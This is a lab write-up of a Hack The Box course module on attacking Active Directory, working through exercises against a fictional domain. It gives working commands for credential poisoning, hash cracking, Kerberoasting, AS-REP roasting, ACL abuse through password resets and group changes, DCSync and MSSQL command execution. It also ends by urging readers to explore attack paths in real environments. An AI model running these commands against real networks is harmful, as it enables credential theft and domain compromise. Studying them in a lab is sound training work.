Write-up: HTB CPTS — Active Directory Enumeration & Attacks
In this article, I’ll break down some parts of the CPTS module Active Directory Enumeration & Attacks.
I’ll walk through a few questions along the way, so let’s dive in!Oh and one quick note before we start: practice as much as you can. The more you practice, the more you’ll see your hacking skills improve.
External Recon and Enumeration Principles
While looking at inlanefreights public records; A flag can be seen. Find the flag and submit it. ( format == HTB{******} )
This chapter focuses on external reconnaissance of the target. To answer this question, we can easily use the CLI on our attack machine with the following command: dig inlanefreight.com any .
From the output, we found a TXT record containing our flag: HTB{XXXXXXXXXXXXXXX}
Initial Enumeration of the Domain
After gathering the basic information and getting an initial picture of what to expect from the customer through the scoping documents, we move on to an attack host placed inside the network.
From your scans, what is the “commonName” of host 172.16.5.5 ?
First, we establish an encrypted SSH connection to the target machine. After logging in as the user “htb-student”, we check the network configuration using ifconfig (Linux). We notice that we are part of the internal network 172.16.5.0/23.
Next, we perform a port scan against the target host 172.16.5.5 to identify its common name. We use the following command: nmap -A -p- 172.16.5.5 . From the scan results, we observe that the SSL certificate has the common name: ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL .
What host is running “Microsoft SQL Server 2019 15.00.2000.00”? (IP address, not Resolved name)
To answer this question, we start with a ping sweep across the internal network. This can be done using a custom script or a common tool such as fping. We use the following syntax: fping -asgq 172.16.5.0/23
This allows us to identify which hosts are alive. Next, we perform port scans against the discovered hosts. We notice that host 172.16.5.130 has port 1433 (ms-sql-server) open and is running: Microsoft SQL Server 2019 15.00.2000.00
LLMNR/NBT-NS Poisoning — from Linux
Run Responder and obtain a hash for a user account that starts with the letter b. Submit the account name as your answer.
Recall that the internal network is connected to the interface ens224 (as seen with ifconfig.
We start Responder on our attack machine using the following command: Responder -I ens224
After running Responder, we successfully capture NTLM hashes. One of the captured hashes belongs to a user account starting with the letter b:
Crack the hash for the previous account and submit the cleartext password as your answer.
To crack the obtained hash, we use hashcat with the rockyou wordlist:
hashcat -m 5600 ntlm.hash /usr/share/wordlists/rockyou.txt
Run Responder and obtain an NTLMv2 hash for the user wley. Crack the hash using Hashcat and submit the user’s password as your answer.
We repeat the same steps as in the previous question to capture the NTLMv2 hash for the user wley. Once captured, we crack the hash using Hashcat to obtain the cleartext password.
LLMNR/NBT-NS Poisoning — from Windows
This chapter covered the use of Inveigh on a Windows system to capture NTLM hashes. Inveigh functions as the Windows counterpart to Responder and is particularly useful when operating from a Windows attack host or after gaining local administrator access on a compromised machine. The chapter focused on how Inveigh listens on multiple network protocols to intercept authentication attempts and collect NTLM credentials.
Run Inveigh and capture the NTLMv2 hash for the svc_qualys account. Crack and submit the cleartext password as the answer.
First we connect with our target with impacket-psexec. Than we establish a stable connection with our attack machine through a reverse shell. We create a reverse webshell with msfvenom and transfer this shell with a curl command to our victim. Than we’re listening on port 443 on our machine and we have active the shell.
Once we have a shell with our victim, we notice that in de file Tools there are several tools. One of this tools is Inveigh , what we can use to get ntlm hashes from users. For this question, we will use the C# version of Inveigh(.exe). Let’s go ahead and run the C# version with the defaults and start capturing hashes
When we obtained the ntlm hash from user svc_qualys, we can crack this hash as we did before with hashcat. Now we have the password in cleartext.
Enumerating & Retrieving Password Policies
What is the default Minimum password length when a new domain is created? (One number)
What is the minPwdLength set to in the INLANEFREIGHT.LOCAL domain? (One number)
We can asnwer this question with the easy or the hard way. We’ve chosen for the hard way to see what the minPwdLength set is in the INLANEFREIGHT.LOCAL domain.
The easier way: enum4linux -P 172.16.5.5
Password Spraying — Making a Target User List
Enumerate valid usernames using Kerbrute and the wordlist located at /opt/jsmith.txt on the ATTACK01 host. How many valid usernames can we enumerate with just this wordlist from an unauthenticated standpoint?
We’re doing a user enumeration with the tool kerbrute on the internal host 172.16.5.5. When we finished we see the test results: Done! Tested 48705 usernames (** valid)
With the command wc -l, I noticed I have the same amount of lines than the users we have. This extra check for yourself, confirmed that we dont miss any user.
Find the user account starting with the letter “s” that has the password Welcome1. Submit the username as your answer.
Internal Password Spraying — from Windows
Credentialed Enumeration — from Linux
What AD User has a RID equal to Decimal 1170?
What is the membercount: of the “Interns” group?
Credentialed Enumeration — from Windows
What PowerView function allows us to test if a user has administrative access to a local or remote host?
Above, we determined that the user we are currently using is an administrator on the host ACADEMY-EA-MS01. We can perform the same function for each host to see where we have administrative access. We will see later how well BloodHound performs this type of check. Now we can check for users with the SPN attribute set, which indicates that the account may be subjected to a Kerberoasting attack.
Run Snaffler and hunt for a readable web config file. What is the name of the user in the connection string within the file?
AND What is the password for the database use
.\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data
Living Off the Land
Get Jordi Been’s stories in your inbox
Join Medium for free to get updates from this writer.
Enumerate the host’s security configuration information and provide its AMProductVersion.
What domain user is explicitly listed as a member of the local Administrators group on the target host?
Utilizing techniques learned in this section, find the flag hidden in the description field of a disabled account with administrative privileges. Submit the flag as the answer.
Kerberoasting — from Linux
Retrieve the TGS ticket for the SAPService account. Crack the ticket offline and submit the password as your answer.
What powerful local group on the Domain Controller is the SAPService user a member of?
Kerberoasting — from Windows
What is the name of the service account with the SPN ‘vmware/inlanefreight.local’?
Crack the password for this account and submit it as your answer.
Access Control List (ACL) Abuse Primer
What type of ACL defines which security principals are granted or denied access to an object? (one word)
Which ACE entry can be leveraged to perform a targeted Kerberoasting attack?
ACL Enumeration
What is the rights GUID for User-Force-Change-Password?
“We could Google for the GUID value 00299570–246d-11d0-a768–00aa006e0529 and uncover this page showing that the user has the right to force change the other user’s password.”
What flag can we use with PowerView to show us the ObjectAceType in a human-readable format during our enumeration?
“This gave us our answer, but would be highly inefficient during an assessment. PowerView has the ResolveGUIDs flag, which does this very thing for us. Notice how the output changes when we include this flag to show the human-readable format of the ObjectAceType property as User-Force-Change-Password.”
What privileges does the user damundsen have over the Help Desk Level 1 group?
Using the skills learned in this section, enumerate the ActiveDirectoryRights that the user forend has over the user dpayne (Dagmar Payne).
What is the ObjectAceType of the first right that the forend user has over the GPO Management group? (two words in the format Word-Word)
ACL Abuse Tactics
Work through the examples in this section to gain a better understanding of ACL abuse and performing these skills hands-on. Set a fake SPN for the adunn account, Kerberoast the user, and crack the hash using Hashcat. Submit the account’s cleartext password as your answer.
We begin by opening a PowerShell session and authenticating as the wley user:
$SecPassword = ConvertTo-SecureString ‘PASSWORD’ -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential(‘INLANEFREIGHT\wley’, $SecPassword)
Next, we create a SecureString object containing the password that will be assigned to the target user:
$damundsenPassword = ConvertTo-SecureString ‘Pwn3d_by_ACLs!’ -AsPlainText -Force
We load PowerView and use Set-DomainUserPassword, supplying the credentials of wley:
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
After the password change, we authenticate as damundsen using the new credentials:
$SecPassword = ConvertTo-SecureString ‘Pwn3d_by_ACLs!’ -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential(‘INLANEFREIGHT\damundsen’, $SecPassword)
We confirm that damundsen is not yet a member of the target group:
Get-ADGroup -Identity “Help Desk Level 1” -Properties * | Select -ExpandProperty Members
We add the user to the Help Desk Level 1 group using the newly created credentials:
Add-DomainGroupMember -Identity ‘Help Desk Level 1’ -Members ‘damundsen’ -Credential $Cred2 -Verbose
A final check verifies that the user was successfully added to the group:
Get-DomainGroupMember -Identity “Help Desk Level 1” | Select MemberName
Because Help Desk Level 1 is nested within the Information Technology group, the required permissions are inherited. We can now create a fake SPN using Set-DomainObject:
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname=’notahacker/LEGIT’} -Verbose
With the SPN in place, we Kerberoast the account and extract the hash for offline cracking using Rubeus:
.\Rubeus.exe kerberoast /user:adunn /nowrap
Crack the hash with hashcat:
hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt
And voilà!:
DCSync
DCSync is an attack technique that abuses the Active Directory replication process to extract NTLM password hashes. By leveraging the Directory Replication Service Remote Protocol, an attacker can impersonate a Domain Controller and request sensitive account data.
The attack relies on the DS-Replication-Get-Changes-All extended right, which allows replication of secret data such as password hashes.
To execute a DCSync attack, the attacker must control an account with domain replication privileges. These permissions are typically granted to Domain Admins, Enterprise Admins, and default domain administrator accounts.
The attack can also be executed using Mimikatz, which requires specifying a target account. In this case, we target the built-in Administrator account. While targeting the krbtgt account would allow the creation of a Golden Ticket for persistence, this falls outside the scope of this module.
It is important to note that Mimikatz must be run in the security context of a user with DCSync privileges. This can be achieved by using runas.exe.
Perform a DCSync attack and look for another user with the option “Store password using reversible encryption” set. Submit the username as your answer.
What is this user’s cleartext password?
Perform a DCSync attack and submit the NTLM hash for the khartsfield user as your answer.
Privileged Access
What other user in the domain has CanPSRemote rights to a host?
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
What host can this user access via WinRM? (just the computer name)
Use the same Cypher query as in the previous question.
Leverage SQLAdmin rights to authenticate to the ACADEMY-EA-DB01 host (172.16.5.150). Submit the contents of the flag at C:\Users\damundsen\Desktop\flag.txt.
From the existing RDP session, establish an SSH connection back to the attack machine. If a direct SSH connection is not possible, create an SSH tunnel to gain access to the internal network. Once this is in place, you can use mssqlclient.py. Run the following command:
mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
When prompted, enter the user’s password.
After successfully connecting to the MSSQL server, enable command execution by running: enable_xp_cmdshell
Finally, use xp_cmdshell to read the flag file:
Bleeding Edge Vulnerabilities
Which two CVEs indicate NoPac.py may work? (Format: ####-#####&####-#####, no spaces)
Apply what was taught in this section to gain a shell on DC01. Submit the contents of flag.txt located in the DailyTasks directory on the Administrator’s desktop.
Miscellaneous Misconfigurations
Find another user with the passwd_notreqd field set. Submit the samaccountname as your answer. The samaccountname starts with the letter “y”.
After we have an rdp connection we start a powershell session. We import the module PowerView.ps1 with command:
Import-Module .\PowerView.ps1
After we done this, we type the following command:
Find another user with the “Do not require Kerberos pre-authentication setting” enabled. Perform an ASREPRoasting attack against this user, crack the hash, and submit their cleartext password as your answer.
First we need to use Get-DomainUser to enumerate users for the Do not require Kerberos pre-authentication setting:
After we find out that this user is ygroce, we use Rubeus to perform AS-REP roasting:
.\Rubeus.exe asreproast /user:ygroce /nowrap /format:hashcat
Now we have a hash and we need to crack it to see the plaintext password.
Additional AD Auditing Techniques
Take some time to experiment with the tools from this section with the spawned target. When done, enter COMPLETE as the answer to this question.
AD Enumeration & Attacks — Skills Assessment Part I & II
Based on the techniques and concepts covered in this article, I am confident that you now have the knowledge and practical understanding required to successfully complete the Active Directory Enumeration & Attacks — Skills Assessment Part I & II. By applying these methods methodically and thinking critically about attack paths and privilege relationships, you will be well-prepared to approach the assessment with confidence.
Active Directory attacks are not about memorizing tools or commands, but about understanding how systems, permissions, and trust relationships interact. Keep practicing, stay curious, and continue exploring attack paths in real environments. Every lab you complete brings you one step closer to mastery.
Good luck — and enjoy the process of learning.
